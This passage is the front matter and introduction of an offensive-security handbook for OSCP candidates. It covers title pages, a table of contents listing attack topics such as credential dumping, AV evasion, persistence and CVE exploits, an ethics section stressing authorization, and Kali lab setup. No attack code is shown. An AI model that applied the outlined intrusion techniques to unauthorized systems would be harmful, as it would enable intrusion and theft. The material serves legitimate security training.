

# The Offensive Security Handbook

A Practical Reference for Penetration Testers & OSCP Candidates

Johnathan Christopherson

2026

---

# **The Offensive Security Handbook**

A Practical Reference for  
Penetration Testers & OSCP Candidates

---

---

Johnathan Christopherson

OSCP | GPEN | GWAPT | GCIA

From Enumeration to Domain Admin  
700+ Pages of Battle-Tested Techniques

2026 Edition

## **The Offensive Security Handbook**

© 2026. All rights reserved.

This handbook is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper written authorization before performing any penetration testing activities.

OSCP<sup>®</sup> is a registered trademark of OffSec Services Limited.

GPEN<sup>®</sup>, GWAPT<sup>®</sup>, and GCIA<sup>®</sup> are registered trademarks of GIAC / SANS Institute.

MITRE ATT&CK<sup>®</sup> is a registered trademark of The MITRE Corporation.

Kali Linux<sup>™</sup> is a trademark of OffSec Services Limited.

Metasploit<sup>®</sup> is a registered trademark of Rapid7, Inc.

Nmap is a registered trademark of Nmap Software LLC (Gordon “Fyodor” Lyon).

Burp Suite is a trademark of PortSwigger Ltd.

All other trademarks are the property of their respective owners.

This handbook is not affiliated with, endorsed by, or sponsored by OffSec, The MITRE Corporation, Rapid7, or any other organization mentioned herein.

# Contents

<b>1</b>	<b>Introduction</b>	<b>1</b>
1.1	Preface	1
1.2	Chapter Objectives	2
1.3	Audience and Prerequisites	2
1.4	Ethical and Legal Considerations	3
1.5	How to Use This Handbook	4
1.6	About This Handbook	5
1.7	Recommended Lab Environments	5
1.8	Lab Environment Setup	12
1.9	Further Learning Resources	14
1.10	Quick Reference: Essential Commands	15
1.11	Linux Command Reference	16
1.12	Netcat Reference	19
1.13	PowerShell Reference	21
1.14	Socat Reference	23
1.15	Bash Scripting Reference	24
1.16	OSCP Exam and Challenge Lab Guidance	28
1.17	OSINT and Passive Reconnaissance	31
1.18	Common Mistakes and Gotchas	32
<b>2</b>	<b>Networking Fundamentals for Hackers</b>	<b>34</b>
2.1	Chapter Objectives	34
2.2	The OSI Model — Why It Matters to Attackers	35
2.3	TCP/IP Protocol Suite	35
2.4	DNS — Domain Name System	39
2.5	Ports and Services — The Attack Surface	41
2.6	Network Protocols Attackers Abuse	45
2.7	Firewalls, NAT, and Network Architecture	47

2.8	Packet Analysis with Wireshark/tcpdump . . . . .	49
2.9	Wireless Networking Basics . . . . .	50
2.10	Networking Commands Reference . . . . .	51
2.11	Practice Exercises . . . . .	53
2.12	Common Mistakes and Gotchas . . . . .	55
<b>3</b>	<b>Linux for Penetration Testers . . . . .</b>	<b>57</b>
3.1	Chapter Objectives . . . . .	57
3.2	Linux File System Structure . . . . .	57
3.3	File Permissions . . . . .	59
3.4	User and Group Management . . . . .	62
3.5	Process Management . . . . .	63
3.6	Package Management . . . . .	64
3.7	File Operations . . . . .	65
3.8	Shell Basics and Scripting . . . . .	67
3.9	Networking Commands . . . . .	69
3.10	File Compression and Archives . . . . .	70
3.11	Log Files Reference . . . . .	71
3.12	Useful Kali Linux Toolkit Locations . . . . .	72
3.13	Practice Exercises . . . . .	72
3.14	Common Mistakes and Gotchas . . . . .	75
<b>4</b>	<b>Windows Internals for Attackers . . . . .</b>	<b>77</b>
4.1	Chapter Objectives . . . . .	77
4.2	Windows Architecture Overview . . . . .	77
4.3	Windows Authentication . . . . .	79
4.4	User Accounts and Privileges . . . . .	81
4.5	SAM Database and Credential Storage . . . . .	83
4.6	Windows Registry . . . . .	84
4.7	Windows Services . . . . .	86
4.8	Scheduled Tasks . . . . .	87
4.9	Windows Event Logging . . . . .	88
4.10	Windows Defender and Security Features . . . . .	89
4.11	PowerShell for Attackers . . . . .	91
4.12	Active Directory Structure Overview . . . . .	93
4.13	Practice Exercises . . . . .	94
4.14	Common Mistakes and Gotchas . . . . .	96

<b>5</b>	<b>Offensive Security Methodology</b>	<b>98</b>
5.1	Chapter Objectives	98
5.2	The Penetration Testing Process	98
5.3	Reconnaissance Mindset	100
5.4	Attack Surface Mapping	101
5.5	Enumeration Philosophy	103
5.6	Privilege Escalation Workflow	104
5.7	Lateral Movement Strategy	106
5.8	Documentation and Note-Taking	107
5.9	MITRE ATT&CK Framework	109
5.10	Rules of Engagement	110
5.11	Practice Exercises	110
5.12	Common Mistakes and Gotchas	112
5.13	Key Linux Directories to Always Check	113
<b>6</b>	<b>OSCP Exam Strategy</b>	<b>114</b>
6.1	Chapter Objectives	114
6.2	Exam Format	114
6.3	Pre-Exam Preparation (1–2 Days Before)	115
6.4	The First 30 Minutes	117
6.5	Target Prioritization	118
6.6	Per-Target Methodology	120
6.7	Active Directory Methodology	122
6.8	Metasploit Usage Restriction	124
6.9	Privilege Escalation Checklists	125
6.10	Time Management	127
6.11	Common Mistakes	128
6.12	The Buffer Overflow Methodology	129
6.13	Report Writing	133
6.14	Recommended Lab Practice Approach	137
6.15	Practice Exercises	138
6.16	Common Mistakes and Gotchas	139
<b>7</b>	<b>Enumeration</b>	<b>141</b>
7.1	Chapter Objectives	141
7.2	Enumeration Decision Tree	141
7.3	Methodology	145

7.4	Nmap . . . . .	146
7.5	NSE Scripts (Nmap Scripting Engine) . . . . .	149
7.6	Rustscan . . . . .	150
7.7	Autorecon . . . . .	150
7.8	Port Scanning from Windows (Living off the Land) . . . . .	151
7.9	DNS Enumeration (Port 53) . . . . .	152
7.10	SMB Enumeration (Ports 139, 445) . . . . .	155
7.11	SNMP Enumeration (UDP Port 161) . . . . .	160
7.12	SMTP Enumeration (Port 25, 587) . . . . .	163
7.13	FTP Enumeration (Port 21) . . . . .	165
7.14	RPC Enumeration (Port 135) . . . . .	167
7.15	LDAP Enumeration (Ports 389, 636, 3268, 3269) . . . . .	167
7.16	WinRM Enumeration (Ports 5985, 5986) . . . . .	170
7.17	RDP Enumeration (Port 3389) . . . . .	171
7.18	RSYNC Enumeration (Port 873) . . . . .	172
7.19	IPMI Enumeration (UDP Port 623) . . . . .	173
7.20	MSSQL Enumeration (Port 1433) . . . . .	174
7.21	MySQL Enumeration (Port 3306) . . . . .	175
7.22	Kerberos Enumeration (Port 88) . . . . .	176
7.23	Vulnerability Scanning with Nessus . . . . .	176
7.24	Virtual Host Enumeration (VHost Fuzzing) . . . . .	177
7.25	Port Knocking . . . . .	178
7.26	NFS Enumeration (Port 2049) . . . . .	178
7.27	Oracle TNS / Oracle Database (Port 1521) . . . . .	179
7.28	Enumeration Methodology: Detection Considerations . . . . .	180
7.29	exiftool — Document Metadata Extraction . . . . .	181
7.30	git-dumper — Exposed .git Repository Extraction . . . . .	182
7.31	feroxbuster — Recursive Web Content Discovery . . . . .	184
7.32	wafw00f — Web Application Firewall Detection . . . . .	184
7.33	Quick Enumeration Checklist . . . . .	186
7.34	EyeWitness — Web Application Screenshot Triage . . . . .	187
7.35	Common Mistakes and Gotchas . . . . .	187
7.36	Practice Exercises . . . . .	188
<b>8</b>	<b>Web Application Attacks . . . . .</b>	<b>191</b>
8.1	Chapter Objectives . . . . .	191

8.2	Web Attack Decision Tree . . . . .	191
8.3	Web Application Reconnaissance . . . . .	194
8.4	Content Discovery . . . . .	195
8.5	API Enumeration . . . . .	197
8.6	Advanced ffuf Techniques . . . . .	199
8.7	Directory Traversal . . . . .	200
8.8	Local File Inclusion (LFI) . . . . .	203
8.9	Log Poisoning (LFI → RCE) . . . . .	205
8.10	Remote File Inclusion (RFI) . . . . .	206
8.11	File Upload Vulnerabilities . . . . .	207
8.12	Command Injection . . . . .	209
8.13	SQL Injection . . . . .	211
8.14	MSSQL Attacks . . . . .	217
8.15	WordPress Attacks . . . . .	221
8.16	Client-Side Attacks . . . . .	225
8.17	Git Repository Exposure . . . . .	229
8.18	WebDAV Testing . . . . .	231
8.19	Jenkins . . . . .	231
8.20	Apache Tomcat . . . . .	232
8.21	Drupal . . . . .	234
8.22	Joomla . . . . .	237
8.23	Splunk . . . . .	239
8.24	Umbraco CMS . . . . .	240
8.25	Server-Side Request Forgery (SSRF) . . . . .	241
8.26	XML External Entity (XXE) Injection . . . . .	243
8.27	Insecure Direct Object Reference (IDOR) . . . . .	245
8.28	HTTP Request Smuggling . . . . .	246
8.29	Server-Side Template Injection (SSTI) . . . . .	247
8.30	Cadaver — Interactive WebDAV Client . . . . .	251
8.31	.swp / Vim Swap File Recovery . . . . .	252
8.32	JDWP — Java Debug Wire Protocol RCE . . . . .	252
8.33	text4shell — Apache Commons Text RCE (CVE-2022-42889) . . . . .	253
8.34	Apache 2.4.49/2.4.50 — Path Traversal and RCE (CVE-2021-41773) . . . . .	254
8.35	GTB Central Console — Pre-Auth SQLi to RCE (CVE-2024-22107/22108) . . . . .	255

8.36	Insecure Deserialization . . . . .	256
8.37	NoSQL Injection . . . . .	261
8.38	Common Mistakes and Gotchas . . . . .	263
8.39	Practice Exercises . . . . .	264
8.40	Quick Web Attack Checklist . . . . .	266
<b>9</b>	<b>Credential Attacks . . . . .</b>	<b>268</b>
9.1	Chapter Objectives . . . . .	268
9.2	Credential Attack Decision Tree . . . . .	268
9.3	Brute Force and Password Spraying . . . . .	271
9.4	Hashcat — Hash Cracking . . . . .	275
9.5	John the Ripper . . . . .	279
9.6	NTLM Hash Extraction . . . . .	281
9.7	Pass-the-Hash (PtH) . . . . .	284
9.8	Net-NTLMv2 Capture (Responder) . . . . .	285
9.9	Net-NTLMv2 Relay . . . . .	286
9.10	Pass-the-Ticket (PtT) . . . . .	289
9.11	KeePass Database Cracking . . . . .	290
9.12	SSH Private Key Passphrase Cracking . . . . .	291
9.13	LaZagne — Credential Harvesting . . . . .	291
9.14	Idpdomaindump — Domain User Enumeration . . . . .	292
9.15	Wordlist Reference . . . . .	292
9.16	Default Credentials Reference . . . . .	294
9.17	Credential Stuffing . . . . .	295
9.18	Token and Cookie Attacks . . . . .	295
9.19	Attacking Kerberos Pre-Authentication Offline . . . . .	297
9.20	mimipenguin — Linux Memory Credential Extraction . . . . .	297
9.21	Windows Credential Editor (WCE) . . . . .	298
9.22	o365spray — Office 365 User Enumeration and Password Spraying	298
9.23	cupp — Custom User Password Profiler . . . . .	299
9.24	Credential Attack Workflow . . . . .	300
9.25	Common Mistakes and Gotchas . . . . .	300
9.26	Practice Exercises . . . . .	301
<b>10</b>	<b>Linux Privilege Escalation . . . . .</b>	<b>304</b>
10.1	Chapter Objectives . . . . .	304
10.2	Linux Privilege Escalation Decision Tree . . . . .	304

10.3	Enumeration Methodology . . . . .	307
10.4	Manual Enumeration . . . . .	307
10.5	Automated Enumeration . . . . .	311
10.6	Sudo Exploitation . . . . .	312
10.7	SUID/SGID Exploitation . . . . .	315
10.8	Linux Capabilities . . . . .	320
10.9	Cron Job Exploitation . . . . .	321
10.10	Writable /etc/passwd . . . . .	323
10.11	Exposed Credentials . . . . .	323
10.12	NFS Weak Permissions . . . . .	325
10.13	LD_PRELOAD Exploitation . . . . .	325
10.14	PATH Abuse . . . . .	326
10.15	Shared Object Hijacking . . . . .	327
10.16	Kernel Exploits . . . . .	327
10.17	Container Escapes . . . . .	329
10.18	Privileged Group Exploitation . . . . .	330
10.19	doas (OpenBSD / Some Linux) . . . . .	331
10.20	Escaping Restricted Shells (rbash) . . . . .	331
10.21	Abusing Misconfigured <code>/etc/sudoers</code> Entries . . . . .	331
10.22	Weak File Permissions on Sensitive Files . . . . .	332
10.23	Abusing Writable Directories in PATH . . . . .	333
10.24	PwnKit (CVE-2021-4034) — Polkit pkexec Privilege Escalation . . . . .	334
10.25	Baron Samedit (CVE-2021-3156) — Sudo Heap Overflow . . . . .	335
10.26	GNU Screen 4.5.0 — Local Root Exploit . . . . .	336
10.27	TMUX Session Hijacking . . . . .	338
10.28	Logrotate Exploitation (logrotten) . . . . .	339
10.29	disk Group Privilege Escalation (debugfs) . . . . .	339
10.30	sudo git — GTFOBins Privilege Escalation . . . . .	340
10.31	Python Library Hijacking (Import Path Abuse) . . . . .	341
10.32	Linux Privilege Escalation: Detection Considerations . . . . .	343
10.33	Kubernetes Privilege Escalation (kubetctl) . . . . .	343
10.34	Netfilter Kernel Exploits (CVE-2021-22555 / CVE-2022-25636 / CVE-2023-32233) . . . . .	345
10.35	Network Credential Sniffing (net-creds / PCredz) . . . . .	346
10.36	SSH Key Abuse . . . . .	347

10.37	Quick Escalation Checklist . . . . .	349
10.38	Common Mistakes and Gotchas . . . . .	349
10.39	Practice Exercises . . . . .	350
10.40	Resources and Further Reading . . . . .	352
<b>11</b>	<b>Windows Privilege Escalation . . . . .</b>	<b>353</b>
11.1	Chapter Objectives . . . . .	353
11.2	Overview . . . . .	353
11.3	Windows Privilege Escalation Decision Tree . . . . .	354
11.4	Initial Enumeration . . . . .	357
11.5	Automated Enumeration Tools . . . . .	359
11.6	Service-Based Attacks . . . . .	361
11.7	Token Impersonation . . . . .	369
11.8	Windows Token Privilege Abuse . . . . .	372
11.9	Privileged Group Abuse . . . . .	377
11.10	UAC Bypass . . . . .	380
11.11	Scheduled Task Exploitation . . . . .	382
11.12	AlwaysInstallElevated . . . . .	383
11.13	Credential Hunting on Windows . . . . .	383
11.14	Credential Extraction from Memory . . . . .	388
11.15	LSASS Memory Dump via Task Manager . . . . .	389
11.16	Virtual Machine Disk Access . . . . .	390
11.17	Kernel and CVE Exploits . . . . .	390
11.18	LOLBAS — Living Off the Land . . . . .	392
11.19	Creating Backdoor Admin Users . . . . .	394
11.20	Pillaging a Compromised System . . . . .	395
11.21	RunasCs — Run Commands as Another User . . . . .	397
11.22	Windows Privilege Escalation via Logon Scripts . . . . .	397
11.23	Abusing Windows Subsystem for Linux (WSL) . . . . .	398
11.24	Server Operators Group Privilege Escalation . . . . .	398
11.25	Citrix and Restricted Desktop Breakout . . . . .	399
11.26	Windows Privilege Escalation: Detection Considerations . . . . .	400
11.27	Quick Reference: Windows PrivEsc Checklist . . . . .	401
11.28	Common Mistakes and Gotchas . . . . .	402
11.29	Practice Exercises . . . . .	403
11.30	Resources and Further Reading . . . . .	405

<b>12</b>	<b>Active Directory Attacks</b>	<b>406</b>
12.1	Chapter Objectives	406
12.2	Overview	407
12.3	Active Directory Attack Chain Decision Tree	407
12.4	Active Directory Fundamentals	410
12.5	Initial AD Enumeration	411
12.6	BloodHound and SharpHound	416
12.7	Password Attacks Against AD	422
12.8	Kerberoasting	423
12.9	AS-REP Roasting	425
12.10	Cached Credential Extraction	426
12.11	Lateral Movement Techniques	427
12.12	DCSync Attack	430
12.13	Silver Tickets	431
12.14	Golden Tickets	432
12.15	ACL Abuse	433
12.16	Shadow Copies (DC Persistence / NTDS.dit Extraction)	436
12.17	Domain Trust Attacks	437
12.18	DnsAdmins Group Privilege Escalation	438
12.19	Group Policy Object (GPO) Abuse	440
12.20	NoPac / Sam_The_Admin (CVE-2021-42278 / CVE-2021-42287)	442
12.21	PrintNightmare (CVE-2021-1675 / CVE-2021-34527)	443
12.22	PetitPotam + NTLM Relay to ADCS (ESC8)	444
12.23	Shadow Credentials (msDS-KeyCredentialLink Abuse)	452
12.24	GMSA Password Extraction	454
12.25	Coercion Attacks Beyond PetitPotam	455
12.26	Cross-Forest Trust Attacks	456
12.27	Snaffler — AD Share Enumeration	459
12.28	Constrained and Unconstrained Delegation	460
12.29	LLMNR / NBT-NS / mDNS Poisoning	462
12.30	BloodHound Custom Cypher Queries	463
12.31	Pre-Authentication Enumeration	465
12.32	Anonymous and Null Session Enumeration	466
12.33	IPv6 DNS Takeover (mitm6)	468
12.34	Quick Reference: AD Attack Chain	470

12.35	Inveigh — Windows LLMNR/NBT-NS/MDNS Poisoner . . . . .	471
12.36	PowerUpSQL — SQL Server Discovery and Exploitation in AD .	472
12.37	adidnsdump — AD-Integrated DNS Zone Dump . . . . .	473
12.38	Common AD Tools Reference . . . . .	474
12.39	Common Mistakes and Gotchas . . . . .	476
12.40	Practice Exercises . . . . .	476
<b>13</b>	<b>Pivoting, Tunneling, and Port Forwarding . . . . .</b>	<b>479</b>
13.1	Chapter Objectives . . . . .	479
13.2	Overview . . . . .	479
13.3	Pivoting Decision Tree . . . . .	480
13.4	Why Pivoting is Required . . . . .	483
13.5	How Each Tunneling Technique Works Conceptually . . . . .	484
13.6	Concepts and Terminology . . . . .	485
13.7	SSH Tunneling . . . . .	487
13.8	Socat Port Forwarding . . . . .	490
13.9	Chisel . . . . .	491
13.10	Proxychains Complete Workflow . . . . .	493
13.11	Ligolo-ng . . . . .	495
13.12	Metasploit Pivoting . . . . .	499
13.13	Windows-Based Pivoting Tools . . . . .	501
13.14	sshuttle . . . . .	503
13.15	DNS Tunneling (dnscat2) . . . . .	504
13.16	ICMP Tunneling (ptunnel-ng) . . . . .	505
13.17	rpivot (HTTP SOCKS Proxy) . . . . .	505
13.18	SocksOverRDP (Windows RDP Pivoting) . . . . .	506
13.19	Network Pivoting Diagrams . . . . .	507
13.20	Pivoting Scenario Reference . . . . .	508
13.21	Tunnel Over WebSockets (wscat / websocat) . . . . .	509
13.22	Port Forwarding Summary and Decision Guide . . . . .	510
13.23	Pivoting: Detection and Operational Security . . . . .	510
13.24	Stunnel — TLS-Encrypted Tunneling . . . . .	512
13.25	Common Mistakes and Gotchas . . . . .	513
13.26	Practice Exercises . . . . .	514
13.27	Quick Reference . . . . .	515
<b>14</b>	<b>Post-Exploitation . . . . .</b>	<b>517</b>

14.1	Chapter Objectives . . . . .	517
14.2	Post-Exploitation Decision Tree . . . . .	517
14.3	Shell Stabilization and Upgrading . . . . .	520
14.4	Situational Awareness After Initial Access . . . . .	522
14.5	File Transfer Techniques . . . . .	524
14.6	Credential Hunting . . . . .	529
14.7	Memory Credential Extraction . . . . .	535
14.8	Lateral Movement Techniques . . . . .	537
14.9	Running Commands as Another User . . . . .	542
14.10	Payload Generation with msfvenom . . . . .	543
14.11	Antivirus Evasion . . . . .	546
14.12	Phishing for Internal Access . . . . .	553
14.13	Assembling the Pieces: Full Attack Chain . . . . .	558
14.14	Operational Security (OpSec) Considerations . . . . .	561
14.15	Detection and Defense Notes . . . . .	564
14.16	Persistence Techniques . . . . .	565
14.17	Data Exfiltration Strategies . . . . .	568
14.18	Attack Chain Scenarios . . . . .	571
14.19	Additional Post-Exploitation Techniques . . . . .	580
14.20	Attack Chain Summary Table . . . . .	588
14.21	Common Mistakes and Gotchas . . . . .	589
14.22	Practice Exercises . . . . .	590
<b>15</b>	<b>Cloud Security for Penetration Testers . . . . .</b>	<b>593</b>
15.1	Chapter Objectives . . . . .	593
15.2	Why Cloud Matters for Pentesters . . . . .	593
15.3	Cloud Enumeration — External (Unauthenticated) . . . . .	594
15.4	AWS — Authenticated Enumeration and Exploitation . . . . .	596
15.5	Azure — Authenticated Enumeration and Exploitation . . . . .	599
15.6	GCP — Authenticated Enumeration . . . . .	602
15.7	Cross-Cloud and Hybrid Attack Paths . . . . .	603
15.8	Cloud Security Tools Reference . . . . .	604
15.9	Practice Exercises . . . . .	605
15.10	Common Mistakes and Gotchas . . . . .	605
<b>16</b>	<b>Tools Reference . . . . .</b>	<b>607</b>
16.1	Chapter Objectives . . . . .	607

16.2	Nmap . . . . .	607
16.3	Gobuster . . . . .	611
16.4	ffuf . . . . .	613
16.5	SQLMap . . . . .	615
16.6	CrackMapExec . . . . .	618
16.7	Hashcat . . . . .	621
16.8	John the Ripper . . . . .	623
16.9	Hydra . . . . .	625
16.10	BloodHound and SharpHound . . . . .	627
16.11	Mimikatz . . . . .	630
16.12	Impacket Suite . . . . .	631
16.13	Metasploit Framework . . . . .	634
16.14	Evil-WinRM . . . . .	640
16.15	Chisel . . . . .	641
16.16	Ligolo-ng . . . . .	643
16.17	Netcat . . . . .	645
16.18	Socat . . . . .	647
16.19	Responder . . . . .	648
16.20	LinPEAS / WinPEAS . . . . .	650
16.21	PowerView . . . . .	651
16.22	Kerbrute . . . . .	653
16.23	WPScan . . . . .	655
16.24	Snaffler . . . . .	656
16.25	SearchSploit — Offline Exploit Database . . . . .	657
16.26	Passive Reconnaissance / OSINT . . . . .	659
16.27	Quick Reference: Port to Protocol Mapping . . . . .	661
16.28	Quick Reference: Wordlists . . . . .	663
16.29	AutoRecon . . . . .	664
16.30	Rubeus . . . . .	665
16.31	Certipy (ADCS Enumeration and Exploitation) . . . . .	666
16.32	Command Verification Notes . . . . .	667
16.33	Quick Reference Tables . . . . .	670
16.34	Common Mistakes and Gotchas . . . . .	676
16.35	Practice Exercises . . . . .	676
16.36	External Resources . . . . .	678

<b>17</b>	<b>Capstone Walkthroughs</b>	<b>679</b>
17.1	Capstone 1 — Linux Target: Full Compromise	679
17.2	Capstone 2 — Windows Target: Full Compromise	685
17.3	Capstone 3 — Active Directory Set: Domain Compromise	691
17.4	General Exam/Engagement Tips	697
<b>18</b>	<b>Operator Playbooks</b>	<b>698</b>
18.1	Playbook 1 — Linux Web Server Compromise	698
18.2	Playbook 2 — Windows Host Compromise	700
18.3	Playbook 3 — Full Active Directory Takeover	702
18.4	Playbook 4 — Pivot Network Compromise	705
18.5	One-Page Attack Methodology	707
<b>19</b>	<b>Glossary</b>	<b>709</b>
19.1	A	709
19.2	B	710
19.3	C	710
19.4	D	711
19.5	E	711
19.6	F	712
19.7	G	712
19.8	H	713
19.9	I	713
19.10	K	713
19.11	L	714
19.12	M	715
19.13	N	715
19.14	O	716
19.15	P	716
19.16	R	717
19.17	S	717
19.18	T	719
19.19	U	719
19.20	W	720
19.21	X	720
<b>20</b>	<b>Appendix: MITRE ATT&amp;CK Technique Index</b>	<b>721</b>

20.1	Reconnaissance . . . . .	721
20.2	Resource Development . . . . .	722
20.3	Initial Access . . . . .	722
20.4	Execution . . . . .	722
20.5	Persistence . . . . .	723
20.6	Privilege Escalation . . . . .	724
20.7	Defense Evasion . . . . .	724
20.8	Credential Access . . . . .	725
20.9	Discovery . . . . .	726
20.10	Lateral Movement . . . . .	727
20.11	Collection . . . . .	728
20.12	Command and Control . . . . .	728
20.13	Exfiltration . . . . .	729
20.14	Impact . . . . .	729
20.15	Quick Lookup by Tool . . . . .	730

# Chapter 1

## Introduction

### 1.1 Preface

This handbook emerged from years of hands-on offensive security training across real lab environments, certification programs, and practice platforms. What started as fragmented notes — scribbled during late-night CTF sessions, copied between terminals during live labs, and revised after each failed attempt — has been consolidated here into a single reference.

The goal is simple: give a practitioner everything they need in one place, written the way operators actually think about problems. Not sanitized theory. Actual command sequences. Real output. Notes on what goes wrong and why.

If you are preparing for the OSCP® certification, working through Hack The Box, or running engagements professionally, this handbook is designed to be at your side — not a replacement for hands-on practice, but a reliable reference that accelerates your workflow.

**About the Author:** Johnathan Christopherson holds the OSCP (Offensive Security Certified Professional), GPEN (GIAC Penetration Tester), GWAPT (GIAC Web Application Penetration Tester), and GCIA (GIAC Certified Intrusion Analyst) certifications. The techniques in this handbook are drawn from real certification preparation, lab environments, and professional practice.

***Trademark Notice:** OSCP® is a registered trademark of OffSec Services Limited. MITRE ATT&CK® is a registered trademark of The MITRE Corporation. Kali*

*Linux is a trademark of OffSec Services Limited. Metasploit® is a registered trademark of Rapid7, Inc. Nmap® is a registered trademark of Nmap Software LLC (Gordon “Fyodor” Lyon). Burp Suite is a trademark of PortSwigger Ltd. All other trademarks are the property of their respective owners. This handbook is not affiliated with, endorsed by, or sponsored by OffSec, The MITRE Corporation, Rapid7, or any other organization mentioned herein.*

***A Note on External Links:** This handbook references GitHub repositories, tool websites, and training platforms. URLs change over time. If a link is broken, search for the tool name on GitHub or your preferred search engine. The tool’s functionality and the commands shown in this handbook remain valid regardless of URL changes.*

## 1.2 Chapter Objectives

After completing this chapter, you should be able to:

- Understand the scope and structure of this handbook
- Set up a penetration testing lab environment (Kali Linux, target VMs)
- Identify the prerequisites for OSCP-level study
- Use the placeholder convention used throughout this book
- Navigate between chapters based on your skill level

---

## 1.3 Audience and Prerequisites

This handbook is written for:

- **Penetration testing students** working through PWK/PEN-200 or HTB Academy
- **OSCP candidates** preparing for the certification exam
- **Junior penetration testers** who want to solidify their methodology
- **Experienced practitioners** who want a consolidated command reference

**Prerequisites assumed:**

---

Skill	Level Required
Linux command line	Comfortable with navigation, pipes, scripting
Networking	TCP/IP, routing, subnetting, common ports
Windows admin	User accounts, services, registry, permissions
Programming	Basic Python or Bash (helpful, not required)
Security concepts	CIA triad, authentication, vulnerabilities

---

If you lack the networking or Linux prerequisites, work through the TryHackMe Pre-Security Path before starting this material.

---

## 1.4 Ethical and Legal Considerations

**The techniques in this handbook are dual-use. They can be used for legitimate security testing — or for criminal activity. The distinction is authorization.**

You must have explicit written permission before using any offensive technique against any system. “I was just testing” is not a legal defense. In most jurisdictions, unauthorized access to computer systems is a criminal offense punishable by imprisonment and fines.

### Acceptable use of this material:

- Lab environments you own (home lab, VMs)
- Platforms explicitly designed for this (Hack The Box, TryHackMe, VulnHub, OSCP labs)
- Engagements with a signed Scope of Work and Rules of Engagement
- Your own employer’s systems with written IT/security team authorization

### Never:

- Scan, probe, or exploit systems without written authorization
- Use credentials or access obtained during an engagement for personal gain
- Retain client data beyond the scope of the engagement

- Share client findings, evidence, or exploitation details without consent

The offensive security community is built on trust and professionalism. Operate accordingly.

---

## 1.5 How to Use This Handbook

This handbook is structured to follow the typical penetration test lifecycle:

```
Introduction (you are here)
  ↓
Enumeration – discover the attack surface
  ↓
Web Attacks – exploit web applications for initial access
  ↓
Credential Attacks – crack and abuse credentials
  ↓
Linux / Windows Privilege Escalation – elevate from low to high
privilege
  ↓
Active Directory Attacks – compromise domain environments
  ↓
Pivoting – move through internal networks
  ↓
Post-Exploitation – establish persistence, exfiltrate, clean up
  ↓
Tools Reference – consolidated command cheatsheet
```

### Reading strategies:

- **Linear:** Read front-to-back if you are new to offensive security. Each chapter builds on the previous one.
- **Reference:** Jump directly to the relevant chapter when you encounter a specific problem during a lab or engagement.
- **Cheatsheet mode:** The Tools Reference chapter contains compact syntax for every major tool — use it during timed assessments.

Commands are formatted in language-tagged code blocks. The language tag tells you where to run the command:

- **bash** — Linux terminal (Kali or target)
- **powershell** — Windows PowerShell or cmd
- **text** — Expected output or non-executable content

For example, a block labeled `bash` means you should run the command in a Linux terminal, while `powershell` means a Windows PowerShell session.

---

## 1.6 About This Handbook

This handbook is a consolidation of practical offensive security training notes accumulated across the following programs:

- **Offensive Security PWK / PEN-200** — the primary course and lab environment leading to the OSCP certification
- **Hack The Box Academy** — structured module-based learning
- **TryHackMe** — guided room-based practice
- **PWK Challenge Labs** — MEDTECH, RELIA, SKYLARK, and OSCP A/B mock exams
- **Hack The Box Boxes** — including Dante Pro Lab and standalone machines
- **Offensive Security Proving Grounds** — mixed Windows and Linux practice targets

The goal is not to reproduce course material verbatim, but to synthesize the operational knowledge into a usable reference. Duplicate techniques have been merged into single canonical explanations. Unique command variants from different sources have been preserved where they differ meaningfully.

---

## 1.7 Recommended Lab Environments

### 1.7.1 Free / Beginner

---

Platform	Best For
TryHackMe	Guided rooms with hints, excellent for beginners
Hack The Box	Unguided machines, closer to real engagements
VulnHub	Download-and-run VMs, great for offline practice
DVWA	Deliberately vulnerable web app for web attack practice

---

## 1.7.2 Paid / Certification Tracks

---

Platform	Best For
OffSec PEN-200	OSCP exam prep with lab access
HTB Academy	Structured module-based learning with machines
TCM Security Courses	Practical pentesting at lower price point
Proving Grounds	OSCP-like standalone machines

---

## 1.7.3 Home Lab Setup

*This section describes the smallest possible environment that lets you safely run every command in this handbook. All systems must be virtual machines you own — never test against production systems or external targets without written authorization.*

### 1.7.3.1 Hardware Requirements

---

Component	Minimum	Recommended
RAM	8 GB	16 GB+

---

Component	Minimum	Recommended
Disk	80 GB free	200 GB free
CPU	Dual-core, VT-x/AMD-V	Quad-core
OS (host)	Windows 10/11 or Linux	Any modern OS

With 8 GB of host RAM you can run Kali plus one target VM at a time. 16 GB lets you run multiple VMs simultaneously, which is important for Active Directory labs that require a domain controller and one or more workstations.

### 1.7.3.2 Software Required

Software	Purpose
VirtualBox or VMware	VM hypervisor
Kali Linux VM	Attack machine
Windows 10/11 Evaluation ISO	Windows target
Metasploitable 2 or 3	Linux target
DVWA (Docker or VM)	Web attack target

#### Download links:

- **VirtualBox:** <https://www.virtualbox.org>
- **Kali Linux:** <https://www.kali.org/get-kali/>
- **Windows Eval ISO:** <https://www.microsoft.com/en-us/evalcenter>
- **Metasploitable:** <https://sourceforge.net/projects/metasploitable>
- **DVWA:** <https://github.com/digininja/DVWA>

## 1.7.4 Installing and Configuring Kali Linux

Kali Linux is the standard attack platform used throughout this handbook. It comes pre-loaded with hundreds of penetration testing tools. You will run it as a virtual machine (VM) on your host computer, which keeps it isolated from your main operating system.

### Step 1: Download Kali Linux

Go to <https://www.kali.org/get-kali/#kali-virtual-machines> and download the pre-built VM image for your hypervisor:

- **VirtualBox users:** Download the `.ova` file
- **VMware users:** Download the `.vmx` / `.7z` archive

The pre-built images are recommended over the ISO installer because they are ready to boot immediately — no installation steps required.

## Step 2: Import the VM

### VirtualBox:

1. Open VirtualBox and select **File > Import Appliance**
2. Browse to the downloaded `.ova` file and click **Next**
3. Review settings (allocate at least 4 GB RAM, 2 CPU cores) and click **Import**

### VMware Workstation:

1. Extract the downloaded `.7z` archive
2. Open VMware and select **File > Open** — select the `.vmx` file
3. When prompted, choose **I Copied It**
4. Go to **VM > Settings** — allocate at least 4 GB RAM and 2 CPU cores

## Step 3: First Boot

1. Start the VM and wait for the login screen
2. Default credentials: **kali / kali**
3. Open a terminal and change the default password immediately:

```
passwd
```

4. Update the system and all pre-installed tools:

```
sudo apt update && sudo apt full-upgrade -y
```

This may take 10–30 minutes depending on your internet speed. It ensures you have the latest versions of all tools.

## Step 4: Take a Snapshot

Before you start any labs, take a VM snapshot. This gives you a clean restore point:

- **VirtualBox:** Machine > Take Snapshot
- **VMware:** VM > Snapshot > Take Snapshot

Name it something like “Clean Install” so you can roll back if anything breaks.

### 1.7.5 Network Configuration

